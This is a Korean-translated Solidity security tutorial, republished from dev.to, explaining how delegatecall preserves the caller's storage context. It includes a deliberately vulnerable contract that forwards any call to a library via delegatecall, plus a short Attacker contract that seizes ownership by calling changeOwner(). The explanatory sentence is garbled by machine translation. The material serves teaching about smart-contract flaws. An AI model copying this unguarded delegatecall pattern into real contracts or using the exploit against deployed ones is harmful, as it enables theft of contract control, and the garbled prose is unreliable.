대리인 호출 - 컨텍스트가 보존됨
                                            
                                                
                                                
                                                
                                                
                                                
                                                 3726 단어  soliditysecuritybestpractice
                    
델리게이트 호출이 어떻게 작동하는지 이해합시다.
contract_A에는 위임자가 contract_B를 호출하는 기능이 있습니다. 해당 함수가 호출되면 contract_B의 코드가 성공적으로 실행된 후 contract_A의 상태가 변경됩니다.
다음을 고려하세요:
contract HackMe {
    address public owner;
    Lib _libContract;
    constructor(address _lib) {
        owner = msg.sender;
        _libContract = Lib(_lib);
    }
    fallback() external payable {
        address(_libContract).delegatecall(msg.data);
    }
}
contract Lib {
    address public owner;
    function changeOwner() external {
        owner = msg.sender;
    }
}
델리게이트 호출에 대해 명확하다면 위의 문제를 보았을 것입니다. 그렇지 않다면 걱정하지 말고 계속 읽으세요...
HackMe를 해킹하여 소유자 변수를 변경하는 방법은 무엇입니까?
changeOwner() 함수를 호출하면 대체 함수가 트리거됩니다(HackMe에는 changeOwner()가 없기 때문). msg.data인 Lib 계약 호출changeOwner()을 호출합니다.changeOwner()(HackMe에서)를 owner(즉, 공격자 주소)로 변경하는 Lib에서 msg.sender를 호출합니다. 다음 계약을 참조하십시오.
contract Attacker {
    address hackMe;
    constructor(address _hackMe) {
        hackMe = _hackMe;
    }
    function attack() external {
        hackMe.call(abi.encodeWithSignature("changeOwner()"));
    }
}
                Reference
이 문제에 관하여(대리인 호출 - 컨텍스트가 보존됨), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/rushanksavant/delegate-call-context-is-preserved-3hcn텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
                                
                                
                                
                                
                                
                                우수한 개발자 콘텐츠 발견에 전념
                                (Collection and Share based on the CC Protocol.)